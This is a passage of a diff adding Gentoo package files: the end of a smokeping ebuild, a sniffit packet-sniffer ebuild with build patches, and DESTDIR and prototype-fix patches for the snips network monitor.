+ ldap? ( dev-perl/perl-ldap )
+ radius? ( dev-perl/RadiusPerl )
+ ssh? ( dev-perl/Net-OpenSSH )
+ telnet? ( dev-perl/Net-Telnet )
+ || ( dev-perl/CGI-Fast <dev-perl/CGI-4 )
+ >=dev-lang/perl-5.8.8-r8
+ >=dev-perl/SNMP_Session-1.13
+ >=net-analyzer/fping-2.4_beta2-r2[suid]
+ >=net-analyzer/rrdtool-1.2[graph,perl]
+ dev-perl/CGI-Session
+ dev-perl/Config-Grammar
+ dev-perl/Digest-HMAC
+ dev-perl/FCGI
+ dev-perl/IO-Socket-SSL
+ dev-perl/Net-DNS
+ dev-perl/libwww-perl
+ virtual/perl-libnet
+"
+
+RDEPEND="${DEPEND}"
+
+pkg_setup() {
+ enewgroup smokeping
+ enewuser smokeping -1 -1 /var/lib/smokeping smokeping
+}
+
+src_prepare() {
+ rm -r lib/{BER.pm,SNMP_Session.pm,SNMP_util.pm} # dev-perl/SNMP_Session
+
+ epatch "${FILESDIR}"/${P}-pod.patch
+}
+
+src_configure() {
+ econf \
+ --sysconfdir=/etc/smokeping \
+ --with-htdocs-dir=/var/www/localhost/smokeping
+}
+
+src_compile() {
+ LC_ALL=C emake
+}
+
+src_install() {
+ default
+
+ newinitd "${FILESDIR}/${PN}.init.3" ${PN}
+ systemd_dotmpfilesd "${FILESDIR}"/"${PN}".conf
+ systemd_dounit "${FILESDIR}"/"${PN}".service
+
+ mv "${D}/etc/smokeping/basepage.html.dist" "${D}/etc/smokeping/basepage.html"
+ mv "${D}/etc/smokeping/config.dist" "${D}/etc/smokeping/config"
+ mv "${D}/etc/smokeping/smokemail.dist" "${D}/etc/smokeping/smokemail"
+ mv "${D}/etc/smokeping/smokeping_secrets.dist" "${D}/etc/smokeping/smokeping_secrets"
+ mv "${D}/etc/smokeping/tmail.dist" "${D}/etc/smokeping/tmail"
+
+ sed -i \
+ -e '/^imgcache/{s:\(^imgcache[ \t]*=\).*:\1 /var/lib/smokeping/.simg:}' \
+ -e '/^imgurl/{s:\(^imgurl[ \t]*=\).*:\1 ../.simg:}' \
+ -e '/^datadir/{s:\(^datadir[ \t]*=\).*:\1 /var/lib/smokeping:}' \
+ -e '/^piddir/{s:\(^piddir[ \t]*=\).*:\1 /run/smokeping:}' \
+ -e '/^cgiurl/{s#\(^cgiurl[ \t]*=\).*#\1 http://some.place.xyz/perl/smokeping.pl#}' \
+ -e '/^smokemail/{s:\(^smokemail[ \t]*=\).*:\1 /etc/smokeping/smokemail:}' \
+ -e '/^tmail/{s:\(^tmail[ \t]*=\).*:\1 /etc/smokeping/tmail:}' \
+ -e '/^secrets/{s:\(^secrets[ \t]*=\).*:\1 /etc/smokeping/smokeping_secrets:}' \
+ -e '/^template/{s:\(^template[ \t]*=\).*:\1 /etc/smokeping/basepage.html:}' \
+ "${D}/etc/${PN}/config" || die
+
+ sed -i \
+ -e '/^<script/{s:cropper/:/cropper/:}' \
+ "${D}/etc/${PN}/basepage.html" || die
+
+ sed -i \
+ -e 's/$FindBin::Bin\/..\/etc\/config/\/etc\/smokeping\/config/g' \
+ "${D}/usr/bin/smokeping" "${D}/usr/bin/smokeping_cgi" || die
+
+ sed -i \
+ -e 's:etc/config.dist:/etc/smokeping/config:' \
+ "${D}/usr/bin/tSmoke" || die
+
+ sed -i \
+ -e 's:/usr/etc/config:/etc/smokeping/config:' \
+ "${D}/var/www/localhost/smokeping/smokeping.fcgi.dist" || die
+
+ dodir /var/www/localhost/cgi-bin
+ mv "${D}/var/www/localhost/smokeping/smokeping.fcgi.dist" \
+ "${D}/var/www/localhost/cgi-bin/smokeping.fcgi"
+
+ fperms 700 /etc/${PN}/smokeping_secrets
+
+ if use apache2 ; then
+ insinto /etc/apache2/modules.d
+ doins "${FILESDIR}/79_${PN}.conf"
+ fi
+
+ dodir /var/cache/smokeping
+ keepdir /var/cache/smokeping
+
+ # Create the files in /var for rrd file storage
+ keepdir /var/lib/${PN}/.simg
+ fowners smokeping:smokeping /var/lib/${PN}
+
+ if use apache2 ; then
+ fowners apache:apache /var/lib/${PN}/.simg
+ fowners -R apache:apache /var/www
+ else
+ fowners smokeping:smokeping /var/lib/${PN}/.simg
+ fi
+
+ fperms 775 /var/lib/${PN} /var/lib/${PN}/.simg
+}
+
+pkg_postinst() {
+ chown smokeping:smokeping "${ROOT}/var/lib/${PN}"
+ chmod 755 "${ROOT}/var/lib/${PN}"
+}
diff --git a/net-analyzer/sniffit/Manifest b/net-analyzer/sniffit/Manifest
new file mode 100644
index 000000000000..1dc84a5982e5
--- /dev/null
+++ b/net-analyzer/sniffit/Manifest
@@ -0,0 +1 @@
+DIST sniffit.0.3.7.beta.tar.gz 212419 SHA256 78b5137be45bdff738525dee351908ae0b8a79e2d999e33b34278a4a7fc08ca0 SHA512 b32d1f17d589ee1d1afc7986640a2b9f451cdb26ee2d077db1eaec1bb77ed353bbbb6a79bd25f915b3a40b7a279f9fc7855706150ec3a24f8937a152ac91b8d1 WHIRLPOOL 834c3c6a177851d219bc593fe1ca4052641aa85a610aa76b5bd65bbd47848280bb5c55b74402b96c61bd7fd980e92137c27c324c9c4fc9259e2cf137ab3afd41
diff --git a/net-analyzer/sniffit/files/sniffit-0.3.7-gentoo.patch b/net-analyzer/sniffit/files/sniffit-0.3.7-gentoo.patch
new file mode 100644
index 000000000000..c226b6f00d45
--- /dev/null
+++ b/net-analyzer/sniffit/files/sniffit-0.3.7-gentoo.patch
@@ -0,0 +1,31 @@
+--- a/Makefile.in
++++ b/Makefile.in
+@@ -10,13 +10,13 @@
+ LIBS = @LIBS@
+ DEFS = @DEFS@
+ OS_OPT = @OS_OPT@
+-OBJ_FLAG = -w -O2 -c
+-OBJ_OPT = -I./libpcap -L./libpcap
+-EXE_FLAG = -w -O2 -o sniffit
+-EXE_OPT = -I./libpcap -L./libpcap -lpcap
++OBJ_FLAG = $(CFLAGS) -c
++OBJ_OPT = -I/usr/include/pcap -L/usr/lib
++EXE_FLAG = $(CFLAGS) $(LDFLAGS) -o sniffit
++EXE_OPT = -I/usr/include/pcap -lpcap
+ EXE_OBJ = sn_packets.o sn_generation.o sn_interface.o sn_cfgfile.o \
+ sn_logfile.o sn_resolv.o
+-DEP_FILES = sn_config.h ./libpcap/pcap.h sn_data.h sn_defines.h sn_plugins.h \
++DEP_FILES = sn_config.h sn_data.h sn_defines.h sn_plugins.h \
+ sn_analyse.c sn_conn_desc.c \
+ sn_packets.o \
+ sn_generation.o sn_interface.o sn_cfgfile.o sn_logfile.o \
+@@ -26,9 +26,7 @@
+ @echo "Succesfull compilation..."
+
+ sniffit: $(SNIFFIT) $(DEP_FILES)
+- cd libpcap; make; cd ..
+ $(CC) $(EXE_FLAG) $(SNIFFIT) $(EXE_OBJ) $(EXE_OPT) $(LIBS) $(DEFS) $(OS_OPT)
+- strip sniffit
+
+ sn_cfgfile.o: sn_cfgfile.h sn_cfgfile.c sn_defines.h sn_structs.h sn_config.h
+ $(CC) $(OBJ_FLAG) sn_cfgfile.c $(OBJ_OPT) $(DEFS)
diff --git a/net-analyzer/sniffit/files/sniffit-0.3.7-misc.patch b/net-analyzer/sniffit/files/sniffit-0.3.7-misc.patch
new file mode 100644
index 000000000000..ff84cd7d2259
--- /dev/null
+++ b/net-analyzer/sniffit/files/sniffit-0.3.7-misc.patch
@@ -0,0 +1,120 @@
+--- a/sn_cfgfile.h
++++ b/sn_cfgfile.h
+@@ -10,3 +10,4 @@
+ void make_nr_dot (char *);
+ void interprete_line (char *);
+ void read_cfg_file (char *);
++char *strlower (char *);
+--- a/sn_structs.h
++++ b/sn_structs.h
+@@ -67,7 +67,7 @@
+ struct snif_mask /* struct for mask */
+ {
+ _32_bit source_ip, destination_ip;
+- _32_bit short source_port, destination_port;
++ _32_bit source_port, destination_port;
+ };
+
+ /* (packet generation) */
+--- a/sn_analyse.c
++++ b/sn_analyse.c
+@@ -1,6 +1,9 @@
+ /* Analyse traffic for logging mode */
+ /* - by: Brecht Claerhout */
+
++#include <stdlib.h>
++#include <string.h>
++
+ const unsigned char *data;
+ memcpy(&tcphead,header,sizeof(struct TCP_header));
+
+--- a/sn_cfgfile.c
++++ b/sn_cfgfile.c
+@@ -3,6 +3,11 @@
+ /* - improvements: Shudoh Kazuyuki */
+
+ #include <stdio.h>
++#include <stdlib.h>
++#include "sn_interface.h"
++#include <string.h>
++#include <ctype.h>
++#include <time.h>
+ #include <netdb.h> /* for getservbyname() */
+
+ #include "sn_config.h"
+--- a/sn_conn_desc.c
++++ b/sn_conn_desc.c
+@@ -1,6 +1,8 @@
+ /* Connection description detection file */
+ /* - by: Brecht Claerhout */
+
++#include <ctype.h>
++#include <string.h>
+
+ /* Simple PORT BASED detection */
+
+--- a/sn_generation.c
++++ b/sn_generation.c
+@@ -6,12 +6,16 @@
+ #ifdef INCLUDE_INTERFACE
+ #ifdef GENERATION
+ #include <unistd.h>
++#include <stdlib.h>
++#include <string.h>
+ #include <sys/socket.h>
+ #include <netinet/in.h>
+ #include "sn_curses.h"
+ #include "sn_defines.h"
+ #include "sn_structs.h"
+ #include "sn_generation.h"
++#include "sn_interface.h" /* input_field() */
++#include "sn_packets.h" /* in_cksum() */
+
+ extern volatile int screen_busy;
+
+--- a/sniffit.0.3.7.c
++++ b/sniffit.0.3.7.c
+@@ -4,6 +4,9 @@
+ #include "sn_config.h" /* Config header file */
+
+ #include <unistd.h>
++#include <stdlib.h>
++#include <string.h>
++#include <ctype.h>
+ #include <signal.h>
+ #include <stdio.h>
+ #include <fcntl.h>
+--- a/sn_interface.c
++++ b/sn_interface.c
+@@ -6,6 +6,9 @@
+ #ifdef INCLUDE_INTERFACE
+ #include <signal.h>
+ #include <unistd.h>
++#include <stdlib.h>
++#include <string.h>
++#include <ctype.h>
+ #include <sys/ipc.h>
+ #include <sys/shm.h>
+ #include "sn_curses.h"
+--- a/sn_logfile.c
++++ b/sn_logfile.c
+@@ -4,6 +4,9 @@
+ #include "sn_config.h"
+
+ #include <stdio.h>
++#include <stdlib.h> /* exit() */
++#include <string.h> /* strcpy() */
++#include <time.h> /* time() ctime() */
+ #include <sys/stat.h>
+ #include <sys/time.h>
+ #include "sn_defines.h"
+--- a/sn_packets.c
++++ b/sn_packets.c
+@@ -5,6 +5,7 @@
+ #include "sn_defines.h"
+ #include "sn_structs.h"
+ #include <netinet/in.h>
++#include <string.h> /* memcpy() strcpy() */
+
+ extern int PROTO_HEAD;
+ extern char NO_CHKSUM;
diff --git a/net-analyzer/sniffit/files/sniffit-0.3.7-tinfo.patch b/net-analyzer/sniffit/files/sniffit-0.3.7-tinfo.patch
new file mode 100644
index 000000000000..b82835049687
--- /dev/null
+++ b/net-analyzer/sniffit/files/sniffit-0.3.7-tinfo.patch
@@ -0,0 +1,38 @@
+--- a/configure.in
++++ b/configure.in
+@@ -5,30 +5,15 @@
+
+ AC_INIT(sniffit.h)
+
+-dnl Config of libpcap
+-AC_CONFIG_SUBDIRS(libpcap)
+-
+ dnl Check the C compiler
+ AC_PROG_CC
+
+ dnl Check NCURSES availability
+-NCURSES_PATH=/usr/include:/usr/include/ncurses:/usr/include/curses:/usr/local/include:/usr/local/include/ncurses:/usr/local/include/curses:./:./ncurses.h
+-ncurses_warn=0
+-AC_CHECK_LIB(ncurses,main,,ncurses_warn=1)
+-
+-AC_PATH_PROGS(NCURSES_LOCATION,ncurses.h,no,$NCURSES_PATH)
+-if test "$NCURSES_LOCATION" != no; then
+- echo "#include \"$NCURSES_LOCATION\"" >sn_curses.h
+- AC_DEFINE(HAVE_NCURSES_H,1)
+-else
+- ncurses_warn=1
+-fi
+-
+-dnl Print warning for interactive mode
+-if test $ncurses_warn -ne 0; then
+- AC_MSG_WARN(Interactive mode (-i/-I) will NOT be supported.!)
+- AC_MSG_WARN(Install ncurses!)
+-fi
++PKG_CHECK_MODULES(ncurses,ncurses,main,
++ LIBS="$LIBS $ncurses_LIBS"
++ echo "#include <ncurses.h>" > sn_curses.h
++ AC_DEFINE(HAVE_NCURSES_H),
++ AC_MSG_ERROR([ncurses not found]))
+
+ dnl Check Shared Memory support
+ AC_CHECK_FUNCS(shmget)
diff --git a/net-analyzer/sniffit/metadata.xml b/net-analyzer/sniffit/metadata.xml
new file mode 100644
index 000000000000..03aa50bab7e3
--- /dev/null
+++ b/net-analyzer/sniffit/metadata.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+</pkgmetadata>
diff --git a/net-analyzer/sniffit/sniffit-0.3.7-r4.ebuild b/net-analyzer/sniffit/sniffit-0.3.7-r4.ebuild
new file mode 100644
index 000000000000..32b54e2670c0
--- /dev/null
+++ b/net-analyzer/sniffit/sniffit-0.3.7-r4.ebuild
@@ -0,0 +1,41 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit autotools eutils toolchain-funcs
+
+MY_P="${P/-/.}.beta"
+S="${WORKDIR}/${MY_P}"
+DESCRIPTION="Interactive Packet Sniffer"
+SRC_URI="http://reptile.rug.ac.be/~coder/${PN}/files/${MY_P}.tar.gz"
+HOMEPAGE="http://reptile.rug.ac.be/~coder/sniffit/sniffit.html"
+
+RDEPEND="
+ net-libs/libpcap
+ >=sys-libs/ncurses-5.2
+"
+DEPEND="
+ ${RDEPEND}
+ virtual/pkgconfig
+"
+
+SLOT="0"
+LICENSE="BSD"
+KEYWORDS="amd64 ppc sparc x86"
+
+src_prepare() {
+ epatch \
+ "${FILESDIR}"/${P}-gentoo.patch \
+ "${FILESDIR}"/${P}-misc.patch \
+ "${FILESDIR}"/${P}-tinfo.patch
+ eautoreconf
+ tc-export CC
+}
+
+src_install () {
+ dosbin sniffit
+
+ doman sniffit.5 sniffit.8
+ dodoc README* PLUGIN-HOWTO BETA* HISTORY
+}
diff --git a/net-analyzer/snips/Manifest b/net-analyzer/snips/Manifest
new file mode 100644
index 000000000000..21b2c5c15174
--- /dev/null
+++ b/net-analyzer/snips/Manifest
@@ -0,0 +1 @@
+DIST snips-1.2.tar.gz 1382731 SHA256 2ca44a51251b569e9429ae404caccb3721a9697532e95c9ff0e6db9ef8e3cd28 SHA512 24c53e1af390062ff6f4406e1cb47b2d13812f2723420df79921dfbb620aac626de628d755b05b615b188df1ef8203776e6a64f326901408235c62205ee16f8a WHIRLPOOL 64264505ff8b1d93c79ecf92b6d6aa133a92e4904a672e46e3d68a9c7749d2193aaa4341878309e7b1856a05579cd643a3ff2b60049518c26eb7100325317098
diff --git a/net-analyzer/snips/files/snips-1.2-code-ordering.patch b/net-analyzer/snips/files/snips-1.2-code-ordering.patch
new file mode 100644
index 000000000000..13b31dc3c0f7
--- /dev/null
+++ b/net-analyzer/snips/files/snips-1.2-code-ordering.patch
@@ -0,0 +1,25 @@
+diff -uNr snips-1.2.ORIG/ntpmon/main.c snips-1.2/ntpmon/main.c
+--- snips-1.2.ORIG/ntpmon/main.c 2008-06-27 13:08:34.000000000 +0100
++++ snips-1.2/ntpmon/main.c 2008-06-27 13:08:57.000000000 +0100
+@@ -42,10 +42,6 @@
+ #include "event_utils.h"
+ #undef _MAIN_
+
+-/* function prototypes */
+-void set_functions();
+-void free_device_list(struct device_info **pslist);
+-
+ /* We keep a linked list of all the devices that we poll and store the
+ * various thresholds in this linked list.
+ */
+@@ -55,6 +51,10 @@
+ struct device_info *next;
+ } *device_info_list = NULL;
+
++/* function prototypes */
++void set_functions();
++void free_device_list(struct device_info **pslist);
++
+ int main(ac, av)
+ int ac;
+ char **av;
diff --git a/net-analyzer/snips/files/snips-1.2-conflicting-types.patch b/net-analyzer/snips/files/snips-1.2-conflicting-types.patch
new file mode 100644
index 000000000000..500faba89a60
--- /dev/null
+++ b/net-analyzer/snips/files/snips-1.2-conflicting-types.patch
@@ -0,0 +1,52 @@
+diff -ur snips-1.2.ORIG/pingmon/main.c snips-1.2/pingmon/main.c
+--- snips-1.2.ORIG/pingmon/main.c 2008-06-26 17:45:49.000000000 +0100
++++ snips-1.2/pingmon/main.c 2008-06-26 17:50:25.000000000 +0100
+@@ -517,7 +517,8 @@
+ */
+ void set_functions()
+ {
+- int help(), readconfig(), poll_devices();
++ int readconfig(), poll_devices();
++ void help();
+
+ set_help_function(help);
+ set_readconfig_function(readconfig);
+diff -ur snips-1.2.ORIG/portmon/main.c snips-1.2/portmon/main.c
+--- snips-1.2.ORIG/portmon/main.c 2008-06-26 17:45:49.000000000 +0100
++++ snips-1.2/portmon/main.c 2008-06-26 17:50:39.000000000 +0100
+@@ -476,7 +476,8 @@
+ */
+ void set_functions()
+ {
+- int help(), readconfig(), poll_devices();
++ int readconfig(), poll_devices();
++ void help();
+
+ set_help_function(help);
+ set_readconfig_function(readconfig);
+diff -ur snips-1.2.ORIG/radiusmon/main.c snips-1.2/radiusmon/main.c
+--- snips-1.2.ORIG/radiusmon/main.c 2008-06-26 17:45:49.000000000 +0100
++++ snips-1.2/radiusmon/main.c 2008-06-26 17:51:05.000000000 +0100
+@@ -261,7 +261,8 @@
+
+ void set_functions()
+ {
+- int help(), readconfig();
++ int readconfig();
++ void help();
+ u_long dotest();
+
+ set_help_function(help);
+diff -uNr snips-1.2.ORIG/ntpmon/main.c snips-1.2/ntpmon/main.c
+--- snips-1.2.ORIG/ntpmon/main.c 2008-06-27 13:12:11.000000000 +0100
++++ snips-1.2/ntpmon/main.c 2008-06-27 13:12:29.000000000 +0100
+@@ -291,7 +291,8 @@
+ */
+ void set_functions()
+ {
+- int help(), readconfig(), poll_devices();
++ int readconfig(), poll_devices();
++ void help();
+
+ set_help_function(help);
+ set_readconfig_function(readconfig);
diff --git a/net-analyzer/snips/files/snips-1.2-destdir-awareness.patch b/net-analyzer/snips/files/snips-1.2-destdir-awareness.patch
new file mode 100644
index 000000000000..c842f27c52b2
--- /dev/null
+++ b/net-analyzer/snips/files/snips-1.2-destdir-awareness.patch
@@ -0,0 +1,402 @@
+diff -uNr snips-1.2.ORIG/etherload/Makefile.mid snips-1.2/etherload/Makefile.mid
+--- snips-1.2.ORIG/etherload/Makefile.mid 2008-06-30 12:42:43.000000000 +0100
++++ snips-1.2/etherload/Makefile.mid 2008-06-30 12:35:38.000000000 +0100
+@@ -25,10 +25,10 @@
+ make CFLAGS="$(CFLAGS) -DSTANDALONE" $(TARG)
+
+ install: $(TARG)
+- $(INSTALL) -c -m 4750 $(TARG) $(BINDIR)
++ $(INSTALL) -c -m 4750 $(TARG) $(DESTDIR)$(BINDIR)
+ @if [ `whoami` = "root" ]; then \
+- chown root $(BINDIR)/$(TARG) ;\
+- ls -lg $(BINDIR)/$(TARG) ;\
++ chown root $(DESTDIR)$(BINDIR)/$(TARG) ;\
++ ls -lg $(DESTDIR)$(BINDIR)/$(TARG) ;\
+ else \
+ echo "";echo "___Installed $(TARG) needs to be root suid___" ;\
+ echo "Do as root manually" ;\
+diff -uNr snips-1.2.ORIG/Makefile.mid snips-1.2/Makefile.mid
+--- snips-1.2.ORIG/Makefile.mid 2008-06-30 12:42:43.000000000 +0100
++++ snips-1.2/Makefile.mid 2008-06-30 12:35:38.000000000 +0100
+@@ -66,8 +66,8 @@
+
+ ## Ultrix make balked at the tests for directories, hence the second test
+ install: installdir lib
+- @[ -d $(ROOTDIR) ] && [ -d $(DATADIR) ] && [ -d $(ETCDIR) ] \
+- && [ -d $(BINDIR) ]
++ @[ -d $(DESTDIR)$(ROOTDIR) ] && [ -d $(DESTDIR)$(DATADIR) ] && \
++ [ -d $(DESTDIR)$(ETCDIR) ] && [ -d $(DESTDIR)$(BINDIR) ]
+ @-(touch SniPpet ; $(INSTALL) -c -m 750 SniPpet /tmp/;) >/dev/null 2>&1 ;
+ @(if [ -f /tmp/SniPpet ]; then rm -f SniPpet /tmp/SniPpet; else \
+ echo "YOU HAVE AN INCOMPATIBLE install, use 'myinstall' instead" ;\
+@@ -82,10 +82,10 @@
+ @echo ""
+ @echo "Installing sample config files under $(EXAMPLESDIR)/..."
+ @-for i in */*-confg */*.conf *.conf ; do \
+- $(INSTALL) -m 444 -c $$i $(EXAMPLESDIR)/ ;\
++ $(INSTALL) -m 444 -c $$i $(DESTDIR)$(EXAMPLESDIR)/ ;\
+ done
+ @if [ ! -f $(ETCDIR)/snips.conf ]; then \
+- $(INSTALL) -c -m 755 snips.conf $(ETCDIR)/snips.conf ;\
++ $(INSTALL) -c -m 755 snips.conf $(DESTDIR)$(ETCDIR)/snips.conf ;\
+ fi
+ @echo "" ; echo " NOW su AND DO A make root "
+
+@@ -95,9 +95,9 @@
+ @if [ "`$(WHOAMI)`" = "root" ]; then \
+ echo "Installing the following programs SUID under $(BINDIR)";\
+ echo " multiping etherload trapmon" ;\
+- $(INSTALL) -m 4711 -c pingmon/multiping/multiping $(BINDIR) ;\
+- $(INSTALL) -m 4710 -c etherload/etherload $(BINDIR) ;\
+- $(INSTALL) -m 4710 -c trapmon/trapmon $(BINDIR) ;\
++ $(INSTALL) -m 4711 -c pingmon/multiping/multiping $(DESTDIR)$(BINDIR) ;\
++ $(INSTALL) -m 4710 -c etherload/etherload $(DESTDIR)$(BINDIR) ;\
++ $(INSTALL) -m 4710 -c trapmon/trapmon $(DESTDIR)$(BINDIR) ;\
+ else \
+ echo "PLEASE RUN make root AS root (currently `whoami`)" ;\
+ fi
+diff -uNr snips-1.2.ORIG/Makefile.tail snips-1.2/Makefile.tail
+--- snips-1.2.ORIG/Makefile.tail 2008-06-30 12:42:43.000000000 +0100
++++ snips-1.2/Makefile.tail 2008-06-30 12:35:38.000000000 +0100
+@@ -9,32 +9,32 @@
+
+ ## these dirs are listed in Makefile.head
+ installdir:
+- @[ -d $(ROOTDIR) ] || mkdir $(ROOTDIR)
+- @[ -d $(BINDIR) ] || mkdir $(BINDIR)
+- @[ -d $(DATADIR) ] || mkdir $(DATADIR)
+- @[ -d $(ETCDIR) ] || mkdir $(ETCDIR)
+- @[ -d $(PIDDIR) ] || mkdir $(PIDDIR)
+- @[ -d $(INITDIR) ] || mkdir $(INITDIR)
+- @[ -d $(MSGSDIR) ] || mkdir $(MSGSDIR)
+- @[ -d $(RRD_DBDIR) ] || mkdir $(RRD_DBDIR)
+- @[ -d $(EXAMPLESDIR) ] || mkdir $(EXAMPLESDIR)
+- @[ -d $(DEVICEHELPDIR) ] || mkdir $(DEVICEHELPDIR)
+- @[ -d $(CGIDIR) ] || mkdir -p $(CGIDIR)
+- @[ -d $(HTMLDIR) ] || mkdir -p $(HTMLDIR)
+- @[ -d $(ROOTDIR)/logs ] || mkdir $(ROOTDIR)/logs
++ @[ -d $(DESTDIR)$(ROOTDIR) ] || mkdir -p $(DESTDIR)$(ROOTDIR)
++ @[ -d $(DESTDIR)$(BINDIR) ] || mkdir -p $(DESTDIR)$(BINDIR)
++ @[ -d $(DESTDIR)$(DATADIR) ] || mkdir -p $(DESTDIR)$(DATADIR)
++ @[ -d $(DESTDIR)$(ETCDIR) ] || mkdir -p $(DESTDIR)$(ETCDIR)
++ @[ -d $(DESTDIR)$(PIDDIR) ] || mkdir -p $(DESTDIR)$(PIDDIR)
++ @[ -d $(DESTDIR)$(INITDIR) ] || mkdir -p $(DESTDIR)$(INITDIR)
++ @[ -d $(DESTDIR)$(MSGSDIR) ] || mkdir -p $(DESTDIR)$(MSGSDIR)
++ @[ -d $(DESTDIR)$(RRD_DBDIR) ] || mkdir -p $(DESTDIR)$(RRD_DBDIR)
++ @[ -d $(DESTDIR)$(EXAMPLESDIR) ] || mkdir -p $(DESTDIR)$(EXAMPLESDIR)
++ @[ -d $(DESTDIR)$(DEVICEHELPDIR) ] || mkdir -p $(DESTDIR)$(DEVICEHELPDIR)
++ @[ -d $(DESTDIR)$(CGIDIR) ] || mkdir -p $(DESTDIR)$(CGIDIR)
++ @[ -d $(DESTDIR)$(HTMLDIR) ] || mkdir -p $(DESTDIR)$(HTMLDIR)
++ @[ -d $(DESTDIR)$(ROOTDIR)/logs ] || mkdir -p $(DESTDIR)$(ROOTDIR)/logs
+
+ init:
+- @if [ ! -z "$(INITFILES)" ] && [ -d "$(INITDIR)" ]; then \
++ @if [ ! -z "$(INITFILES)" ] && [ -d "$(DESTDIR)$(INITDIR)" ]; then \
+ for i in $(INITFILES) x ; \
+ do \
+ if [ "$$i" = "x" ]; then \
+ : ;\
+ else \
+- if [ -f "$(INITDIR)/$$i.init" ]; then \
++ if [ -f "$(DESTDIR)$(INITDIR)/$$i.init" ]; then \
+ echo "Not overwriting existing $(INITDIR)/$$i.init";\
+ else \
+ echo "Installing $$i.init under $(INITDIR)/" ;\
+- ln -s $(BINDIR)/snipsprog.init $(INITDIR)/$$i.init ;\
++ ln -s $(DESTDIR)$(BINDIR)/snipsprog.init $(DESTDIR)$(INITDIR)/$$i.init ;\
+ fi \
+ fi \
+ done \
+diff -uNr snips-1.2.ORIG/man/Makefile.mid snips-1.2/man/Makefile.mid
+--- snips-1.2.ORIG/man/Makefile.mid 2008-06-30 12:42:43.000000000 +0100
++++ snips-1.2/man/Makefile.mid 2008-06-30 12:35:38.000000000 +0100
+@@ -26,18 +26,18 @@
+
+ install: installdir
+ @echo "Installing in 'man'"
+- @- [ -d $(MANDIR) ] || mkdir $(MANDIR)
++ @- [ -d $(DESTDIR)$(MANDIR) ] || mkdir $(DESTDIR)$(MANDIR)
+ # @-for d in $(MANDIR)/man1 $(MANDIR)/man3 $(MANDIR)/man8; do \
+ # [! -d $$d ] && mkdir $$d ;\
+ # done
+ @- for m in $(MANPAGES1); do \
+- $(INSTALL) -c -m 644 $$m.sed $(MANDIR)/`basename $$m 1`$(MANEXT) ;\
++ $(INSTALL) -c -m 644 $$m.sed $(DESTDIR)$(MANDIR)/`basename $$m 1`$(MANEXT) ;\
+ done
+ @- for m in $(MANPAGES3); do \
+- $(INSTALL) -c -m 644 $$m.sed $(MANDIR)/`basename $$m 3`$(MANEXT) ;\
++ $(INSTALL) -c -m 644 $$m.sed $(DESTDIR)$(MANDIR)/`basename $$m 3`$(MANEXT) ;\
+ done
+ @- for m in $(MANPAGES8); do \
+- $(INSTALL) -c -m 644 $$m.sed $(MANDIR)/`basename $$m 8`$(MANEXT) ;\
++ $(INSTALL) -c -m 644 $$m.sed $(DESTDIR)$(MANDIR)/`basename $$m 8`$(MANEXT) ;\
+ done
+
+ clean:
+diff -uNr snips-1.2.ORIG/nsmon/Makefile.mid snips-1.2/nsmon/Makefile.mid
+--- snips-1.2.ORIG/nsmon/Makefile.mid 2008-06-30 12:42:43.000000000 +0100
++++ snips-1.2/nsmon/Makefile.mid 2008-06-30 12:35:38.000000000 +0100
+@@ -17,7 +17,7 @@
+ $(CC) $(CFLAGS) $(OBJS) $(LIBS) $(PROGLIBS) -o $@
+
+ install: installdir $(TARG)
+- $(INSTALL) -c -m 751 $(TARG) $(BINDIR)/
++ $(INSTALL) -c -m 751 $(TARG) $(DESTDIR)$(BINDIR)/
+
+ ## for standalone, need to link with -lresolv or -lbind
+ nstest: nsmon.c
+diff -uNr snips-1.2.ORIG/ntpmon/Makefile.mid snips-1.2/ntpmon/Makefile.mid
+--- snips-1.2.ORIG/ntpmon/Makefile.mid 2008-06-30 12:42:43.000000000 +0100
++++ snips-1.2/ntpmon/Makefile.mid 2008-06-30 12:35:38.000000000 +0100
+@@ -17,7 +17,7 @@
+
+
+ install: installdir $(TARG)
+- $(INSTALL) -c -m 751 $(TARG) $(BINDIR)/
++ $(INSTALL) -c -m 751 $(TARG) $(DESTDIR)$(BINDIR)/
+
+ clean:
+ rm -f $(DIRT)
+diff -uNr snips-1.2.ORIG/perl-monitors/Makefile.mid snips-1.2/perl-monitors/Makefile.mid
+--- snips-1.2.ORIG/perl-monitors/Makefile.mid 2008-06-30 12:42:43.000000000 +0100
++++ snips-1.2/perl-monitors/Makefile.mid 2008-06-30 12:35:38.000000000 +0100
+@@ -62,32 +62,32 @@
+ # ideally hostmon-osclients/ need not go into the BINDIR, but we are
+ # putting it all there for now.
+ install:
+- -@[ -d $(BINDIR)/hostmon-osclients ] || mkdir $(BINDIR)/hostmon-osclients
++ -@[ -d $(DESTDIR)$(BINDIR)/hostmon-osclients ] || mkdir $(DESTDIR)$(BINDIR)/hostmon-osclients
+ -@echo "Installing files in $(BINDIR)/hostmon-osclients" ;\
+ for f in hostmon-osclients/* ; do \
+ if [ -f $$f ]; then \
+- $(INSTALL) -c -m 755 $$f $(BINDIR)/hostmon-osclients/ ;\
++ $(INSTALL) -c -m 755 $$f $(DESTDIR)$(BINDIR)/hostmon-osclients/ ;\
+ fi \
+ done
+- -@cd $(BINDIR)/hostmon-osclients ; \
++ -@cd $(DESTDIR)$(BINDIR)/hostmon-osclients ; \
+ if [ -f hostmon-client.seds ]; then \
+ $(INSTALL) -c -m 755 hostmon-client.seds hostmon-client ;\
+ rm -f hostmon-client.seds ;\
+ fi
+ -@echo "Installing perl monitors under $(BINDIR)" ;\
+ for f in $(PROGS) ; do \
+- $(INSTALL) -c -m 755 $$f.seds $(BINDIR)/$$f ;\
++ $(INSTALL) -c -m 755 $$f.seds $(DESTDIR)$(BINDIR)/$$f ;\
+ done
+ -@for f in $(CONF) ; do \
+- if [ ! -f $(ETCDIR)/$$f ]; then \
+- $(INSTALL) -c -m 644 $$f.seds $(ETCDIR)/$$f ;\
++ if [ ! -f $(DESTDIR)$(ETCDIR)/$$f ]; then \
++ $(INSTALL) -c -m 644 $$f.seds $(DESTDIR)$(ETCDIR)/$$f ;\
+ fi \
+ done
+- $(INSTALL) -c -m 755 $(CMUSNMP)/snmpapps/snmpwalk $(BINDIR)/
